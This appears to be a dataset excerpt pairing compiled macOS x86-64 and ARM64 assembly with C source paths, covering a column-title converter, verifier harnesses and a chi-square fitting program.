## %bb.12: ## in Loop: Header=BB0_11 Depth=1
movq -24(%rbp), %rax
movl -36(%rbp), %ecx
subl $1, %ecx
subl -32(%rbp), %ecx
movslq %ecx, %rcx
movsbl (%rax,%rcx), %eax
movl %eax, -28(%rbp)
movq -24(%rbp), %rax
movslq -32(%rbp), %rcx
movb (%rax,%rcx), %dl
movq -24(%rbp), %rax
movl -36(%rbp), %ecx
subl $1, %ecx
subl -32(%rbp), %ecx
movslq %ecx, %rcx
movb %dl, (%rax,%rcx)
movl -28(%rbp), %eax
movb %al, %dl
movq -24(%rbp), %rax
movslq -32(%rbp), %rcx
movb %dl, (%rax,%rcx)
## %bb.13: ## in Loop: Header=BB0_11 Depth=1
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
jmp LBB0_11
LBB0_14:
movq -24(%rbp), %rax
movq %rax, -8(%rbp)
LBB0_15:
movq -8(%rbp), %rax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $701, %edi ## imm = 0x2BD
callq _convertToTitle
movq %rax, %rsi
movq %rsi, -16(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rdi
callq _free
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%s\n"
.subsections_via_symbols
| the_stack_data/119753.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
bl _lib
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
callq _lib
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/490382.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
mov w0, #0
str wzr, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.comm _a2,8,3 ; @a2
.comm _a3a,8,3 ; @a3a
.comm _a4,8,3 ; @a4
.comm _a5,8,3 ; @a5
.comm _a6,8,3 ; @a6
.comm _a7,8,3 ; @a7
.comm _a8,8,3 ; @a8
.comm _a9,8,3 ; @a9
.comm _a10,8,3 ; @a10
.comm _a11,8,3 ; @a11
.comm _a12,8,3 ; @a12
.comm _a12a,8,3 ; @a12a
.comm _a12b,8,3 ; @a12b
.comm _a13,8,3 ; @a13
.comm _a14,8,3 ; @a14
.comm _a15,8,3 ; @a15
.comm _a16,8,3 ; @a16
.comm _a17,8,3 ; @a17
.comm _a18,8,3 ; @a18
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _a2,8,3 ## @a2
.comm _a3a,8,3 ## @a3a
.comm _a4,8,3 ## @a4
.comm _a5,8,3 ## @a5
.comm _a6,8,3 ## @a6
.comm _a7,8,3 ## @a7
.comm _a8,8,3 ## @a8
.comm _a9,8,3 ## @a9
.comm _a10,8,3 ## @a10
.comm _a11,8,3 ## @a11
.comm _a12,8,3 ## @a12
.comm _a12a,8,3 ## @a12a
.comm _a12b,8,3 ## @a12b
.comm _a13,8,3 ## @a13
.comm _a14,8,3 ## @a14
.comm _a15,8,3 ## @a15
.comm _a16,8,3 ## @a16
.comm _a17,8,3 ## @a17
.comm _a18,8,3 ## @a18
.subsections_via_symbols
| the_stack_data/154828874.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl ___VERIFIER_assert ; -- Begin function __VERIFIER_assert
.p2align 2
___VERIFIER_assert: ; @__VERIFIER_assert
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_1
LBB0_1:
b LBB0_2
LBB0_2:
bl ___VERIFIER_error
LBB0_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #80
adrp x8, _N@GOTPAGE
ldr x8, [x8, _N@GOTPAGEOFF]
stur x8, [x29, #-48] ; 8-byte Folded Spill
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-12]
bl ___VERIFIER_nondet_int
ldur x8, [x29, #-48] ; 8-byte Folded Reload
str w0, [x8]
ldr w8, [x8]
subs w8, w8, #0
cset w8, gt
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
mov w8, #1
stur w8, [x29, #-12]
b LBB1_14
LBB1_2:
ldur x8, [x29, #-48] ; 8-byte Folded Reload
ldr w8, [x8]
; kill: def $x8 killed $w8
mov x9, sp
stur x9, [x29, #-32]
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-64] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-64] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
stur x9, [x29, #-56] ; 8-byte Folded Spill
stur x8, [x29, #-40]
stur wzr, [x29, #-16]
b LBB1_3
LBB1_3: ; =>This Inner Loop Header: Depth=1
ldur x9, [x29, #-48] ; 8-byte Folded Reload
ldur w8, [x29, #-16]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_6
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=1
ldur x9, [x29, #-56] ; 8-byte Folded Reload
ldur w8, [x29, #-16]
mov w11, #3
sdiv w10, w8, w11
mul w10, w10, w11
subs w8, w8, w10
ldursw x10, [x29, #-16]
str w8, [x9, x10, lsl #2]
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_3 Depth=1
ldur w8, [x29, #-16]
add w8, w8, #1
stur w8, [x29, #-16]
b LBB1_3
LBB1_6:
stur wzr, [x29, #-16]
b LBB1_7
LBB1_7: ; =>This Inner Loop Header: Depth=1
ldur x9, [x29, #-48] ; 8-byte Folded Reload
ldur w8, [x29, #-16]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_13
b LBB1_8
LBB1_8: ; in Loop: Header=BB1_7 Depth=1
ldur w8, [x29, #-16]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_10
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_7 Depth=1
stur wzr, [x29, #-20]
b LBB1_11
LBB1_10: ; in Loop: Header=BB1_7 Depth=1
ldur x9, [x29, #-56] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
ldursw x10, [x29, #-16]
ldr w9, [x9, x10, lsl #2]
add w8, w8, w9
stur w8, [x29, #-20]
b LBB1_11
LBB1_11: ; in Loop: Header=BB1_7 Depth=1
b LBB1_12
LBB1_12: ; in Loop: Header=BB1_7 Depth=1
ldur w8, [x29, #-16]
add w8, w8, #1
stur w8, [x29, #-16]
b LBB1_7
LBB1_13:
ldur x9, [x29, #-48] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
ldr w10, [x9]
mov w9, #2
mul w9, w9, w10
subs w8, w8, w9
cset w8, le
and w0, w8, #0x1
bl ___VERIFIER_assert
mov w8, #1
stur w8, [x29, #-12]
ldur x8, [x29, #-32]
mov sp, x8
b LBB1_14
LBB1_14:
ldur w8, [x29, #-12]
stur w8, [x29, #-68] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_16
b LBB1_15
LBB1_15:
bl ___stack_chk_fail
LBB1_16:
ldur w0, [x29, #-68] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.comm _N,4,2 ; @N
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl ___VERIFIER_assert ## -- Begin function __VERIFIER_assert
.p2align 4, 0x90
___VERIFIER_assert: ## @__VERIFIER_assert
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
cmpl $0, -4(%rbp)
jne LBB0_3
## %bb.1:
jmp LBB0_2
LBB0_2:
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq ___VERIFIER_error
LBB0_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
callq ___VERIFIER_nondet_int
movl %eax, %ecx
movq _N@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _N@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jg LBB1_2
## %bb.1:
movl $1, -12(%rbp)
jmp LBB1_14
LBB1_2:
movq _N@GOTPCREL(%rip), %rax
movl (%rax), %eax
## kill: def $rax killed $eax
movq %rax, -56(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -32(%rbp)
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -56(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -48(%rbp) ## 8-byte Spill
movq %rax, -40(%rbp)
movl $0, -16(%rbp)
LBB1_3: ## =>This Inner Loop Header: Depth=1
movl -16(%rbp), %eax
movq _N@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB1_6
## %bb.4: ## in Loop: Header=BB1_3 Depth=1
movl -16(%rbp), %eax
movl $3, %ecx
cltd
idivl %ecx
movq -48(%rbp), %rax ## 8-byte Reload
movslq -16(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
## %bb.5: ## in Loop: Header=BB1_3 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB1_3
LBB1_6:
movl $0, -16(%rbp)
LBB1_7: ## =>This Inner Loop Header: Depth=1
movl -16(%rbp), %eax
movq _N@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB1_13
## %bb.8: ## in Loop: Header=BB1_7 Depth=1
cmpl $0, -16(%rbp)
jne LBB1_10
## %bb.9: ## in Loop: Header=BB1_7 Depth=1
movl $0, -20(%rbp)
jmp LBB1_11
LBB1_10: ## in Loop: Header=BB1_7 Depth=1
movq -48(%rbp), %rcx ## 8-byte Reload
movl -20(%rbp), %eax
movslq -16(%rbp), %rdx
addl (%rcx,%rdx,4), %eax
movl %eax, -20(%rbp)
LBB1_11: ## in Loop: Header=BB1_7 Depth=1
jmp LBB1_12
LBB1_12: ## in Loop: Header=BB1_7 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB1_7
LBB1_13:
movl -20(%rbp), %eax
movq _N@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
shll $1, %ecx
cmpl %ecx, %eax
setle %al
andb $1, %al
movzbl %al, %edi
callq ___VERIFIER_assert
movl $1, -12(%rbp)
movq -32(%rbp), %rax
movq %rax, %rsp
LBB1_14:
movl -12(%rbp), %eax
movl %eax, -60(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_16
## %bb.15:
movl -60(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB1_16:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.comm _N,4,2 ## @N
.subsections_via_symbols
| the_stack_data/578539.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _point ; -- Begin function point
.p2align 2
_point: ; @point
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #28]
str x1, [sp, #16]
str wzr, [sp, #12]
ldr w8, [sp, #28]
subs w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB0_8
b LBB0_1
LBB0_1:
ldr x8, [sp, #16]
ldr d0, [x8]
str d0, [sp]
mov w8, #1
str w8, [sp, #8]
b LBB0_2
LBB0_2: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #8]
ldr w9, [sp, #28]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_7
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_2 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #8]
ldr d0, [x8, x9, lsl #3]
ldr d1, [sp]
fcmp d0, d1
cset w8, pl
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_2 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #8]
ldr d0, [x8, x9, lsl #3]
str d0, [sp]
ldr w8, [sp, #8]
str w8, [sp, #12]
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_2 Depth=1
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_2 Depth=1
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB0_2
LBB0_7:
b LBB0_8
LBB0_8:
ldr w0, [sp, #12]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _chisq ; -- Begin function chisq
.p2align 2
_chisq: ; @chisq
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur d0, [x29, #-8]
movi d0, #0000000000000000
stur d0, [x29, #-16]
stur wzr, [x29, #-20]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-20]
adrp x9, _n@PAGE
ldr w9, [x9, _n@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldur d0, [x29, #-16]
str d0, [sp, #16] ; 8-byte Folded Spill
ldursw x9, [x29, #-20]
adrp x8, _y@PAGE
add x8, x8, _y@PAGEOFF
ldr d0, [x8, x9, lsl #3]
str d0, [sp] ; 8-byte Folded Spill
ldur d0, [x29, #-8]
str d0, [sp, #8] ; 8-byte Folded Spill
adrp x8, _b@PAGE
ldr d0, [x8, _b@PAGEOFF]
ldursw x9, [x29, #-20]
adrp x8, _x@PAGE
add x8, x8, _x@PAGEOFF
ldr d1, [x8, x9, lsl #3]
fmul d0, d0, d1
bl _exp
ldr d2, [sp] ; 8-byte Folded Reload
fmov d1, d0
ldr d0, [sp, #8] ; 8-byte Folded Reload
fmsub d0, d0, d1, d2
ldursw x9, [x29, #-20]
adrp x8, _sig@PAGE
add x8, x8, _sig@PAGEOFF
ldr d1, [x8, x9, lsl #3]
fdiv d0, d0, d1
fmov d1, #2.00000000
bl _pow
fmov d1, d0
ldr d0, [sp, #16] ; 8-byte Folded Reload
fadd d0, d0, d1
stur d0, [x29, #-16]
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB1_1
LBB1_4:
ldur d0, [x29, #-16]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function main
lCPI2_0:
.quad 0x3f847ae147ae147b ; double 0.01
lCPI2_1:
.quad 0x3f50624dd2f1a9fc ; double 0.001
lCPI2_2:
.quad 0x3f8eb851eb851eb8 ; double 0.014999999999999999
lCPI2_3:
.quad 0x3f9999999999999a ; double 0.025000000000000001
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #160
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-12]
adrp x8, lCPI2_1@PAGE
ldr d0, [x8, lCPI2_1@PAGEOFF]
stur d0, [x29, #-32]
; kill: def $x8 killed $xzr
stur xzr, [x29, #-40]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fopen
stur x0, [x29, #-40]
fmov d0, #1.00000000
stur d0, [x29, #-24]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldur d0, [x29, #-24]
fmov d1, #3.00000000
fcmp d0, d1
cset w8, pl
tbnz w8, #0, LBB2_4
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-40]
stur x8, [x29, #-104] ; 8-byte Folded Spill
ldur d0, [x29, #-24]
stur d0, [x29, #-112] ; 8-byte Folded Spill
ldur d0, [x29, #-24]
bl _chisq
ldur d1, [x29, #-112] ; 8-byte Folded Reload
ldur x0, [x29, #-104] ; 8-byte Folded Reload
sub sp, sp, #16
mov x8, sp
str d1, [x8]
str d0, [x8, #8]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
add sp, sp, #16
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldur d0, [x29, #-24]
adrp x8, lCPI2_0@PAGE
ldr d1, [x8, lCPI2_0@PAGEOFF]
fadd d0, d0, d1
stur d0, [x29, #-24]
b LBB2_1
LBB2_4:
stur wzr, [x29, #-44]
fmov d0, #1.00000000
stur d0, [x29, #-24]
b LBB2_5
LBB2_5: ; =>This Inner Loop Header: Depth=1
ldur d0, [x29, #-24]
fmov d1, #2.50000000
fcmp d0, d1
cset w8, pl
tbnz w8, #0, LBB2_8
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_5 Depth=1
ldur w8, [x29, #-44]
add w8, w8, #1
stur w8, [x29, #-44]
b LBB2_7
LBB2_7: ; in Loop: Header=BB2_5 Depth=1
ldur d0, [x29, #-24]
adrp x8, lCPI2_1@PAGE
ldr d1, [x8, lCPI2_1@PAGEOFF]
fadd d0, d0, d1
stur d0, [x29, #-24]
b LBB2_5
LBB2_8:
ldur w8, [x29, #-44]
; kill: def $x8 killed $w8
mov x9, sp
stur x9, [x29, #-56]
lsl x9, x8, #3
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-144] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-144] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
stur x9, [x29, #-136] ; 8-byte Folded Spill
stur x8, [x29, #-64]
ldur w8, [x29, #-44]
; kill: def $x8 killed $w8
lsl x9, x8, #3
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-128] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-128] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
stur x9, [x29, #-120] ; 8-byte Folded Spill
stur x8, [x29, #-72]
stur wzr, [x29, #-76]
fmov d0, #1.00000000
stur d0, [x29, #-24]
b LBB2_9
LBB2_9: ; =>This Inner Loop Header: Depth=1
ldur d0, [x29, #-24]
fmov d1, #2.50000000
fcmp d0, d1
cset w8, pl
tbnz w8, #0, LBB2_12
b LBB2_10
LBB2_10: ; in Loop: Header=BB2_9 Depth=1
ldur x8, [x29, #-120] ; 8-byte Folded Reload
ldur d0, [x29, #-24]
ldursw x9, [x29, #-76]
str d0, [x8, x9, lsl #3]
ldur d0, [x29, #-24]
bl _chisq
ldur x8, [x29, #-136] ; 8-byte Folded Reload
ldursw x9, [x29, #-76]
str d0, [x8, x9, lsl #3]
ldur w8, [x29, #-76]
add w8, w8, #1
stur w8, [x29, #-76]
b LBB2_11
LBB2_11: ; in Loop: Header=BB2_9 Depth=1
ldur d1, [x29, #-32]
ldur d0, [x29, #-24]
fadd d0, d0, d1
stur d0, [x29, #-24]
b LBB2_9
LBB2_12:
ldur x1, [x29, #-136] ; 8-byte Folded Reload
ldur w0, [x29, #-44]
bl _point
ldur x8, [x29, #-136] ; 8-byte Folded Reload
stur w0, [x29, #-80]
ldursw x9, [x29, #-80]
ldr d0, [x8, x9, lsl #3]
sub sp, sp, #16
mov x8, sp
str d0, [x8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldur x8, [x29, #-120] ; 8-byte Folded Reload
add sp, sp, #16
adrp x9, _b@PAGE
ldr d1, [x9, _b@PAGEOFF]
ldursw x9, [x29, #-80]
ldr d0, [x8, x9, lsl #3]
sub sp, sp, #16
mov x8, sp
str d1, [x8]
str d0, [x8, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
add sp, sp, #16
stur wzr, [x29, #-84]
b LBB2_13
LBB2_13: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-84]
ldur w9, [x29, #-44]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_18
b LBB2_14
LBB2_14: ; in Loop: Header=BB2_13 Depth=1
ldur x8, [x29, #-136] ; 8-byte Folded Reload
ldursw x9, [x29, #-80]
ldr d0, [x8, x9, lsl #3]
fmov d1, #1.00000000
fadd d0, d0, d1
ldursw x9, [x29, #-84]
ldr d1, [x8, x9, lsl #3]
fabd d0, d0, d1
adrp x8, lCPI2_0@PAGE
ldr d1, [x8, lCPI2_0@PAGEOFF]
fcmp d0, d1
cset w8, hi
tbnz w8, #0, LBB2_16
b LBB2_15
LBB2_15: ; in Loop: Header=BB2_13 Depth=1
ldur x8, [x29, #-120] ; 8-byte Folded Reload
ldur x9, [x29, #-136] ; 8-byte Folded Reload
ldursw x10, [x29, #-84]
ldr d1, [x9, x10, lsl #3]
ldursw x9, [x29, #-84]
ldr d0, [x8, x9, lsl #3]
sub sp, sp, #16
mov x8, sp
str d1, [x8]
str d0, [x8, #8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
add sp, sp, #16
b LBB2_16
LBB2_16: ; in Loop: Header=BB2_13 Depth=1
b LBB2_17
LBB2_17: ; in Loop: Header=BB2_13 Depth=1
ldur w8, [x29, #-84]
add w8, w8, #1
stur w8, [x29, #-84]
b LBB2_13
LBB2_18:
stur wzr, [x29, #-88]
b LBB2_19
LBB2_19: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-88]
ldur w9, [x29, #-44]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_24
b LBB2_20
LBB2_20: ; in Loop: Header=BB2_19 Depth=1
ldur x8, [x29, #-136] ; 8-byte Folded Reload
ldursw x9, [x29, #-80]
ldr d0, [x8, x9, lsl #3]
fmov d1, #4.00000000
fadd d0, d0, d1
ldursw x9, [x29, #-88]
ldr d1, [x8, x9, lsl #3]
fabd d0, d0, d1
adrp x8, lCPI2_2@PAGE
ldr d1, [x8, lCPI2_2@PAGEOFF]
fcmp d0, d1
cset w8, hi
tbnz w8, #0, LBB2_22
b LBB2_21
LBB2_21: ; in Loop: Header=BB2_19 Depth=1
ldur x8, [x29, #-120] ; 8-byte Folded Reload
ldur x9, [x29, #-136] ; 8-byte Folded Reload
ldursw x10, [x29, #-88]
ldr d1, [x9, x10, lsl #3]
ldursw x9, [x29, #-88]
ldr d0, [x8, x9, lsl #3]
sub sp, sp, #16
mov x8, sp
str d1, [x8]
str d0, [x8, #8]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
add sp, sp, #16
b LBB2_22
LBB2_22: ; in Loop: Header=BB2_19 Depth=1
b LBB2_23
LBB2_23: ; in Loop: Header=BB2_19 Depth=1
ldur w8, [x29, #-88]
add w8, w8, #1
stur w8, [x29, #-88]
b LBB2_19
LBB2_24:
stur wzr, [x29, #-92]
b LBB2_25
LBB2_25: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-92]
ldur w9, [x29, #-44]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_30
b LBB2_26
LBB2_26: ; in Loop: Header=BB2_25 Depth=1
ldur x8, [x29, #-136] ; 8-byte Folded Reload
ldursw x9, [x29, #-80]
ldr d0, [x8, x9, lsl #3]
fmov d1, #9.00000000
fadd d0, d0, d1
ldursw x9, [x29, #-92]
ldr d1, [x8, x9, lsl #3]
fabd d0, d0, d1
adrp x8, lCPI2_3@PAGE
ldr d1, [x8, lCPI2_3@PAGEOFF]
fcmp d0, d1
cset w8, hi
tbnz w8, #0, LBB2_28
b LBB2_27
LBB2_27: ; in Loop: Header=BB2_25 Depth=1
ldur x8, [x29, #-120] ; 8-byte Folded Reload
ldur x9, [x29, #-136] ; 8-byte Folded Reload
ldursw x10, [x29, #-92]
ldr d1, [x9, x10, lsl #3]
ldursw x9, [x29, #-92]
ldr d0, [x8, x9, lsl #3]
sub sp, sp, #16
mov x8, sp
str d1, [x8]
str d0, [x8, #8]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
add sp, sp, #16
b LBB2_28
LBB2_28: ; in Loop: Header=BB2_25 Depth=1
b LBB2_29
LBB2_29: ; in Loop: Header=BB2_25 Depth=1
ldur w8, [x29, #-92]
add w8, w8, #1
stur w8, [x29, #-92]
b LBB2_25
LBB2_30:
ldur x8, [x29, #-56]
mov sp, x8
ldur w8, [x29, #-12]
stur w8, [x29, #-148] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_32
b LBB2_31
LBB2_31:
bl ___stack_chk_fail
LBB2_32:
ldur w0, [x29, #-148] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __DATA,__data
.globl _x ; @x
.p2align 3
_x:
.quad 0x3ff0000000000000 ; double 1
.quad 0x4000000000000000 ; double 2
.quad 0x4008000000000000 ; double 3
.quad 0x4010000000000000 ; double 4
.quad 0x4014000000000000 ; double 5
.quad 0x4018000000000000 ; double 6
.quad 0x401c000000000000 ; double 7
.globl _y ; @y
.p2align 3
_y:
.quad 0x4010000000000000 ; double 4
.quad 0x4014000000000000 ; double 5
.quad 0x4020000000000000 ; double 8
